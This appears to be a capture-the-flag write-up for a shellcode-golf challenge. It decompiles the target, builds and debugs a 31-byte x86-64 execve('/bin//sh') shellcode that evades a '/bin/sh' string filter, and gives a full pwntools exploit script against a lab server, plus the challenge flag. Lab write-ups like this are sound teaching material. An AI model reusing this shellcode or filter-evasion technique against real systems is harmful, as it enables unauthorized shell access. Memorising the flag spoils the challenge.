VERE - Pwn-1 - Golfcode
Published at Mar 22, 2025
This problem requires that you enter shellcode that meets all the requirements outlined in the source file. You can’t just copy/paste shellcode this time, you’ll have to actually generate it yourself and modify some shellcode until you meet all the requirements specified. This will be hard, especially if you are trying to have ChatGPT do it for you and not actually understand what’s going on.
nc 172.16.16.7 14688
Understanding the Challenge
Included with the challenge were two files, golfcode
and golfcode.c
. I looked at golfcode
first, and found an ELF executable that seems to request input of some shellcode, but no matter what I try right now, it just prints out “bad”:
./golfcode
Shellcode> sdf
bad
I pulled it up in Ghidra to look at the decompiled code:
undefined8 main(void)
{
int iVar1;
code *__dest;
ssize_t sVar2;
undefined8 uVar3;
char *pcVar4;
long in_FS_OFFSET;
char local_38 [4];
char local_34;
char local_28;
char local_1d;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
__dest = (code *)mmap((void *)0x0,0x1000,7,0x22,-1,0);
printf("Shellcode> ");
sVar2 = read(0,local_38,0x20);
iVar1 = (int)sVar2;
if (iVar1 < 1) {
puts("read error");
uVar3 = 1;
}
else if (iVar1 < 0x20) {
pcVar4 = strstr(local_38,"/bin/sh");
if (pcVar4 == (char *)0x0) {
if (local_38[0] == "1") {
if (((local_34 == -0x70) && (local_28 == -0x70)) && (local_1d == -0x70)) {
memcpy(__dest,local_38,(long)iVar1);
(*__dest)();
uVar3 = 0;
}
else {
printf("also bad");
uVar3 = 1;
}
}
else {
printf("bad");
uVar3 = 1;
}
}
else {
puts("no /bin/sh allowed");
uVar3 = 1;
}
}
else {
puts("shellcode too long");
uVar3 = 1;
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar3;
}
The code takes in input as shellcode and compares it to a series of rules and restrictions:
- Must start with
0x31
. - Bytes at positions 4, 16, and 27 must be
0x90
. - Must not contain
/bin/sh
as a literal string. - Shellcode must be ≤ 31 bytes.
If any are triggered, it ends the program and prints “bad”.
The ultimate goal is to bypass these constraints and establish a shell to read the flag.
(As a note, during the solve of this challenge, I forgot that the golfcode.c
file was included as well. Fortunately it was just the code used to generate the golfcode
ELF, which the decompiled binary was sufficient in helping me understand)
Enumerating the Constraints
To build the shellcode, I need to keep those rules in mind. The first byte needs to be 0x31
, which indicates starting with an XOR
instruction. Next up are the 0x90
operations, which are NOP
s. I interpret the purpose for this constraint as a few places in the shellcode that the challenge author wants to force us to break up series of commands while maintaining functionality.
For the first two restrictions, this is what the bytes will need to look like. Positions are zero-indexed, so:
- Byte 0 =
0x31
- Byte 4 =
0x90
- Byte 16 =
0x90
- Byte 27 =
0x90
The next challenge to overcome is to figure out how to pop a shell without including /bin/sh
. During a recent Rev challenge I did, I learned that doing something like /bin//sh
(with double slashes) for something like this still functions as the normal bin/sh
call, and is often added for alignment purposes or to ensure the string is 8 bytes long, which can simplify stack manipulation in shellcode. So this is how I’ll get past constraint 3.
The last limitation is what the title of the challenge hints at: keeping our payload short, less than or equal to 31 bytes. This one seems simple enough but will likely be the root of many problems throughout the challenge.
Building the Shellcode
Knowing full well that it wouldn’t be able to keep all that together, but figuring it would get me a good start, I gave the list of constraints to Github Copilot running Claude 3.7 Sonnet. It gave me a decent beginning point, but as I suspected, it missed several of the specifications. For my own sake, I wrote the following assertions to make sure that my shellcode doesn’t accidentally trigger any “bad” outputs.
assert len(shellcode) <= 31, "Shellcode exceeds 31 bytes"
assert shellcode[0] == 0x31, "Shellcode must start with 0x31"
assert shellcode[4] == 0x90, "Byte at position 4 must be 0x90"
assert shellcode[16] == 0x90, "Byte at position 16 must be 0x90"
assert shellcode[27] == 0x90, "Byte at position 27 must be 0x90"
assert b"/bin/sh" not in shellcode, "Shellcode contains '/bin/sh'"
This was a lifesaver as I worked, sometimes I would make a change that would alter something else that I wouldn’t have looked for, but my assertions would catch that for me.
I edited the shellcode to do what I needed it to do (which involved heavily altering Claude’s suggestions), and I began to hover around this state, where it passed all the constraints and should in theory function properly. But it would cause my program to crash, and I could not figure out why for the longest time.
shellcode = bytes([
0x31, 0xc0, # xor eax, eax # Clear the EAX register (set to 0)
0x90, # nop # No operation (used for padding or alignment)
0x50, # push eax # Push the value of EAX (0) onto the stack
0x90, # nop # No operation
0x68, 0x2f, 0x2f, 0x73, 0x68, # push 0x68732f2f # Push the string "//sh" onto the stack
0x68, 0x2f, 0x62, 0x69, 0x6e, # push 0x6e69622f # Push the string "/bin" onto the stack
0x90, # nop # No operation
0x90, # nop # No operation
0x89, 0xe3, # mov ebx, esp # Move the stack pointer (ESP) into EBX (pointer to "/bin//sh")
0x31, 0xc9, # xor ecx, ecx # Clear the ECX register (set to 0)
0x31, 0xd2, # xor edx, edx # Clear the EDX register (set to 0)
0xb0, 0x0b, # mov al, 0x0b # Set AL (lower 8 bits of EAX) to 0x0B (syscall number for execve)
0xcd, 0x80, # int 0x80 # Trigger interrupt 0x80 to invoke the syscall
0x90 # nop # No operation
])
Here’s how this works:
- The shellcode constructs the string ”
/bin//sh
” on the stack. - It sets up the arguments for the
execve
syscall: ebx
points to the string ”/bin//sh
“.ecx
andedx
are set to NULL.- It sets the syscall number for
execve
(0x0b
) ineax
. - The
int 0x80
instruction triggers the syscall, executing/bin/sh
.
Here is the output from running this shellcode on the executable:

Eventually I focused on the syscall being invoked with the int 0x80
value rather than syscall
. Doing a little research on this, I learned that int 0x80
is used to invoke the syscall in 32 bit architecture, while syscall
is the equivalent for 64 bit. Doing a little validation on my file to see which architecture was being used:
file golfcode
golfcode: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ec06dd0d4e7760829f13952a05117e4df7a8ed16, for GNU/Linux 3.2.0, not stripped
The LLM had given me instructions in 32 bit architecture (notice that all the registers are eax
, ecx
, etc., and not the full rax
, etc.), and this program is in 64 bit, no wonder my shellcode wasn’t working! It’s almost like the challenge warned me about using AI…
I gave my shellcode back to Claude and asked it to convert it to 64 bit (apparently I didn’t learn my lesson). This gave me the right syntax this time, but was vastly off on the constraints. I had to refactor and rework the code a lot, and was definitely running into the less than or equal to 31 bytes constraint a lot more than I was seeing in the 32 bit architecture version. Eventually, I worked my way to this solution, which checked all the boxes and I was hopeful that it would work:
shellcode = bytes([
0x31, 0xf6, # xor esi, esi # Clear the ESI register (set to 0)
0x90, # nop # No operation
0x56, # push rsi # Push the value of RSI (0) onto the stack
0x90, # nop # No operation
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, # movabs rax, 0x68732f2f6e69622f # Move the string "/bin//sh" into RAX
0x90, # nop # No operation
0x90, # nop # No operation
0x50, # push rax # Push the value of RAX ("/bin//sh") onto the stack
0x48, 0x89, 0xe7, # mov rdi, rsp # Move the stack pointer (RSP) into RDI (pointer to "/bin//sh")
0x31, 0xd2, # xor edx, edx # Clear the EDX register (set to 0)
0xb0, 0x3b, # mov al, 0x3b # Set AL (lower 8 bits of RAX) to 0x3B (syscall number for execve)
0x90, # nop # No operation
0x90, # nop # No operation
0x90, # nop # No operation
0x0f, 0x05 # syscall # Invoke the syscall
])
Here is how this works:
xor esi, esi
: Clears theesi
register.nop
: No operation to satisfy the constraint.push esi
: Pushes the value ofesi
(which is 0) onto the stack.mov rax, 0x68732f2f6e69622f
: Loads the string ”/bin//sh
” in reverse order (little-endian) into therax
register.push rax
: Pushes the value ofrax
onto the stack.mov rdi, rsp
: Moves the current stack pointer (which points to the string ”/bin//sh
”) into therdi
register.xor edx, edx
: Clears theedx
register.mov al, 0x3b
: Sets the lower 8 bits ofrax
to0x3b
, which is the syscall number forexecve
on x86-64.syscall
: Invokes the syscall, which in this case executesexecve
with the arguments set up previously.
This bypasses all the checks, and should theoretically accomplish the goal, but again, the program just crashes. Throughout the process, I’ve been dynamically analyzing the program in GDB, following is the method that I used to identify and fix this issue.
python3 exploit.py GDB
Continuing through the code to the point where the shell code is being executed:

and stepping into the call, we can see our shell code as it exists within the program.

Stepping through this shellcode until the point where it is about to execute the syscall, we can inspect the registers that hold the arguments for that syscall:

There in $rax
lies the issue. The register is holding the value rax 0x68732f2f6e69623b
, which DOES contain the desired value at the end: 0x3b
(the syscall number for execve
), but there are a whole lot of other hex values in that register.
Looking back at my shellcode, I realized that one of my methods to save byte space (and keep my code less than 31 bytes) was to set 0x3b
with the mov al
instruction, which does correctly set the last (smallest) byte of the rax
register, but the problem is that it ONLY sets the last byte of the rax
register. The rest was leftover from whatever value was in it before.
Doing a little refactoring, which wasn’t easy to stay below the 31 byte limit, I tweaked the shellcode to now represent this:
shellcode = bytes([
0x31, 0xf6, # xor esi, esi # Clear the ESI register (set to 0)
0x90, # nop # No operation (used for padding or alignment)
0x56, # push rsi # Push the value of RSI (0) onto the stack
0x90, # nop # No operation (position 4)
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, # movabs rax, 0x68732f2f6e69622f # Move the string "/bin//sh" into RAX
0x90, # nop # No operation
0x90, # nop # No operation (position 16)
0x50, # push rax # Push the value of RAX ("/bin//sh") onto the stack
0x48, 0x89, 0xe7, # mov rdi, rsp # Move the stack pointer (RSP) into RDI (pointer to "/bin//sh")
0x48, 0x31, 0xc0, # xor rax, rax # Zero out the full RAX register
0x6a, 0x3b, # push 0x3b # Push the value 0x3B (syscall number for execve) onto the stack
0x58, # pop rax # Pop the value 0x3B into RAX
0x90, # nop # No operation (position 27)
0x99, # cdq # Sign-extend EAX into EDX (sets EDX to 0)
0x0f, 0x05 # syscall # Invoke the syscall
])
Here’s what’s going on there:
xor esi, esi
: Clears theesi
register.nop
: No operation to satisfy the constraint.push rsi
: Pushes the value ofrsi
(which is 0) onto the stack.nop
: No operation.movabs rax, 0x68732f2f6e69622f
: Loads the string/bin//sh
into therax
register.nop
: No operation.nop
: No operation to satisfy the constraint.push rax
: Pushes the value ofrax
(which is/bin//sh
) onto the stack.mov rdi, rsp
: Moves the address of the top of the stack (which now points to /bin//sh
) into therdi
register.xor rax, rax
: Clears therax
register.push 0x3b
: Pushes the value0x3b
(which is the syscall number forexecve
) onto the stack.pop rax
: Pops the value0x3b
into therax
register.nop
: No operation to satisfy the constraint.cdq
: Sign-extendseax
intoedx
, effectively clearingedx
.syscall
: Invokes the syscall, which in this case isexecve
to execute/bin/sh
.
That all equals exactly 31 bytes, perfect! Double checking the constraints:
- Byte 0 =
0x31
✓ - Byte 4 =
0x90
✓ - Byte 16 =
0x90
✓ - Byte 27 =
0x90
✓ - Length = 31 bytes ✓
/bin/sh
is encoded but not a literal substring ✓
The hex representation of this shellcode is:
31f690569048b82f62696e2f2f73689090504889e74831c06a3b5890990f05
PWNed
Running the exploit script now gives me:

This gives me a shell! It’s into my own system, so what we’re seeing is the contents of the directory that my executable is in. But now all I need to do is run it against the remote server!
Changing the second argument in my script execution to REMOTE
, I get the following:

This challenge was a fun exercise in fitting functionality into tight constraints as we generated shellcode. The NOP requirements forced creative register use and instruction ordering, while avoiding /bin/sh
added an extra step to think about string encoding.
Flag
vere{sh311c0d3_pr0bl3m5_4r3_4nn0y1n9_huh_32d062b582a2}
Full Script
from pwn import *
# Initialize the binary and set the context (architecture, etc.)
binary = "./golfcode" # Ensure it is executable (chmod +x)
elf = context.binary = ELF(binary, checksec=False)
gs = """
b *main
b *main+123
b *main+330
b *main+338
b *main+347
c
"""
# Run with python3 exploit.py REMOTE
if args.REMOTE:
p = remote("172.16.16.7", 14688)
# Run with python3 exploit.py GDB
elif args.GDB:
# Having issues with gdb showing up? Install and run `tmux` before running this script, then uncomment this:
context.terminal = ["tmux", "splitw", "-h"] # -h to -v for vertical
p = gdb.debug(binary, gdbscript=gs)
# Run with python3 exploit.py
else:
p = elf.process()
### EXPLOIT LOGIC ###
shellcode = bytes([
0x31, 0xf6,
0x90,
0x56,
0x90,
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68,
0x90,
0x90,
0x50,
0x48, 0x89, 0xe7,
0x48, 0x31, 0xc0,
0x6a, 0x3b,
0x58,
0x90,
0x99,
0x0f, 0x05
])
print(shellcode.hex())
# Verify shellcode meets constraints
assert len(shellcode) <= 31, "Shellcode exceeds 31 bytes"
assert shellcode[0] == 0x31, "Shellcode must start with 0x31"
assert shellcode[4] == 0x90, "Byte at position 4 must be 0x90"
assert shellcode[16] == 0x90, "Byte at position 16 must be 0x90"
assert shellcode[27] == 0x90, "Byte at position 27 must be 0x90"
assert b'/bin/sh' not in shellcode, "Shellcode contains '/bin/sh'"
# Log the shellcode for debugging
info(f"Shellcode length: {len(shellcode)} bytes")
info(f"Shellcode: {shellcode.hex()}")
# Send the shellcode (use send, not sendline, to avoid adding a newline)
p.send(shellcode)
# Interact with the shell
p.interactive()